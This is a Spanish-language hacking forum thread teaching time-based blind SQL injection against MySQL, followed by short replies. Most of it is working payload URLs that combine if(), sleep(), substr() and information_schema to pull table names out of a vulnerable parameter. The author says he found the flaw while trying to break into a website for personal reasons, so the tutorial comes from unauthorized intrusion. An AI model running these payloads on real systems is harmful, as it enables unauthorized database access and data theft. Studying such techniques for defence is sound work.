comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Blind Mysqli Time Based [Teoria]

  • 3 Respuestas
  • 2214 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Diciembre 21, 2012, 10:45:57 pm »
Mientras "auditaba" una web, lo digo entre comillas por que no me dedico a eso en lo laboral, mas bien me encontraba tratando de ingresar a un sitio por cuestiones personales, me encontre con una variante de inyeccion sql dando por descartado las demas a travez de las respuestas que generaba el servidor, una "Blind mysqli basada en tiempo", paso a explicar a quienes no se encuntren familiarizados con este tipo de inyeccion.
Basicamente una "Blind mysqli basada en tiempo" se trata de inyectar a ciegas como toda blind, en mi caso utilizando la tecnica de busqueda binaria (la mas comunmente utilizada en estas situaciones) pero se da cuando la aplicacion muestra el mismo mensaje TRUE OR FALSE, es decir que da los mismo inyectar un OR 1=1 que un OR 2+5/87=9999999999 el sitio web nos seguira mostrando el mismo mensaje de error, o puede deberse a realizar una carga incorrecta del contenido web, o cualquier otra desvariacion en el sitio, da lo mismo la aplicacion resulta vulnerable pero no podremos deducir cual es la inyeccion correcta.
Para estas situaciones, podemos hacer uso de la funcion sleep() y la estructura condicional if(), ahora paso a explicar la sintaxis de cada una de estas.

La sintaxis de if es la siguiente:

if(<condicion>,<si la condicion se cumple>,<si la condicion no se cumple>)

Por ejemplo:

Código: [Seleccionar]
mysql> select if(1=1, 'Verdadero es igual!', 'Falso no es igual!');
+------------------------------------------------------+
| if(1=1, 'Verdadero es igual!', 'Falso no es igual!') |
+------------------------------------------------------+
| Verdadero es igual!                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)

sleep() se utiliza para producir una pausa de tantos segundos, vamos a combinarlo con if() e imponerlo si la condicion no se cumple.
Código: [Seleccionar]
mysql> select if(1='q3rv0', 'Verdadero es igual!', sleep(3));
+------------------------------------------------+
| if(1='q3rv0', 'Verdadero es igual!', sleep(3)) |
+------------------------------------------------+
| 0                                              |
+------------------------------------------------+
1 row in set, 1 warning (3.00 sec)


Como vemos la condicion dio como resultado falsa y se le introdujo un retardo de 3 seg ante dicha respuesta.

ahora se pueden imaginar el resultado del vector al combinar ambas funciones con una blind sqli??

No se trata de nada rebuscado, solo hay que utilizar como condicion el vector sqli para dicha inyeccion por ejemplo:

Empezemos desde cero, supongamos que encontraron una web vulnerable que da con el perfil de este tipo de inyeccion y queremos verificar que en realidad se trata de esta, comenzariamos por introcir el siguiente vector en el parametro devil.
Código: [Seleccionar]
http://vuln-bsqli-based-time/?devil=5 or 1=if(1=1,sleep(5),0)--   > 5 segundos(TRUE)

http://vuln-bsqli-based-time/?devil=5 or 1=if(1=9999,sleep(5),0)--  > FALSE

Ahora ya nos damos una idea de como inyectar en la aplicacion comenzando por obtener el listado de las tablas en la base de datos, normalmente en una blind sqli seria de la siguiente manera:

Código: [Seleccionar]
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15-- TRUE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50-- TRUE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100-- FALSE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68-- FALSE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67-- TRUE

Veamos como queda armado el vector haciendo uso de nuestro amigo "el tiempo":


Código: [Seleccionar]
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15,sleep(5),0)-- TRUE 5 segundos

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50,sleep(5),0)-- TRUE 5 segundos

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100,sleep(5),0)-- FALSE

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68,sleep(5),0)-- FALSE

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67,sleep(5),0)-- TRUE 5 segundos

Sencillo, lo unico que tiene de rebuscado esta tecnica es mantener la pasciencia mienstras se lleva a cabo la inyeccion manualmente.

Besitos!
           

[Q]3rV[0]   


Desconectado Abnormality

  • *
  • Underc0der
  • Mensajes: 392
  • Actividad:
    0%
  • Reputación 0
  • %SystemRoot%
    • Ver Perfil
    • Email
« Respuesta #1 en: Diciembre 21, 2012, 11:08:54 pm »
Esta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria? La segunda es que el sleep (5) de MySQL en la experiencia que tuve dura 15 segundos, no dura 5.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« Respuesta #2 en: Diciembre 21, 2012, 11:41:43 pm »
Citar
Esta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria?
No entiendo esta pregunta? estoy usando busqueda binaria...con respecto a lo de los 5 seg tenes toda la razon, tambien se mezcla con el delay de HTTP puede durar mas incluso pero a nivel mysql dura 5 seg exactos

Desconectado Abnormality

  • *
  • Underc0der
  • Mensajes: 392
  • Actividad:
    0%
  • Reputación 0
  • %SystemRoot%
    • Ver Perfil
    • Email
« Respuesta #3 en: Diciembre 22, 2012, 02:05:23 am »
Citar
Esta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria?
No entiendo esta pregunta? estoy usando busqueda binaria...con respecto a lo de los 5 seg tenes toda la razon, tambien se mezcla con el delay de HTTP puede durar mas incluso pero a nivel mysql dura 5 seg exactos

Pero si es binaria porque pasas de 15 a 50 despues a 100 y despues a 68? Cual seria el range?

Ah si? Que raro, yo porque inyectando una sentencia falsa (o sea sin sleep) dura exactamente 0.1 segundos en cierta web usando WGET (que te marca el tiempo exacto) Y usando un sleep (5) tarda 15 segundos exactos por mas que lo haga varias veces asi que no sera un delay de HTTP. Ahora me doy cuenta que es raro...

 

¿Te gustó el post? COMPARTILO!



Secure Shell (ACID SHELL BASED)

Iniciado por Dedalo

Respuestas: 0
Vistas: 1709
Último mensaje Julio 01, 2012, 05:54:45 pm
por Dedalo
Blind SQLi desde cero [SQLi a ciegas] by ANTRAX

Iniciado por ANTRAX

Respuestas: 20
Vistas: 10027
Último mensaje Julio 27, 2014, 01:04:47 am
por DRAKONE
Mysql injection avanzada: "doble query/error based"

Iniciado por q3rv0

Respuestas: 2
Vistas: 2587
Último mensaje Agosto 30, 2012, 04:26:01 am
por andrewtwo
Tecnicas de Blind Mysql Injection (Bit Shifting && Find_in_set())

Iniciado por q3rv0

Respuestas: 3
Vistas: 2322
Último mensaje Agosto 30, 2012, 12:50:52 am
por andrewtwo
Destripando la logica de una inyeccion [Mysql Doble Query Error Based]

Iniciado por q3rv0

Respuestas: 4
Vistas: 2978
Último mensaje Junio 15, 2013, 11:08:53 am
por morodog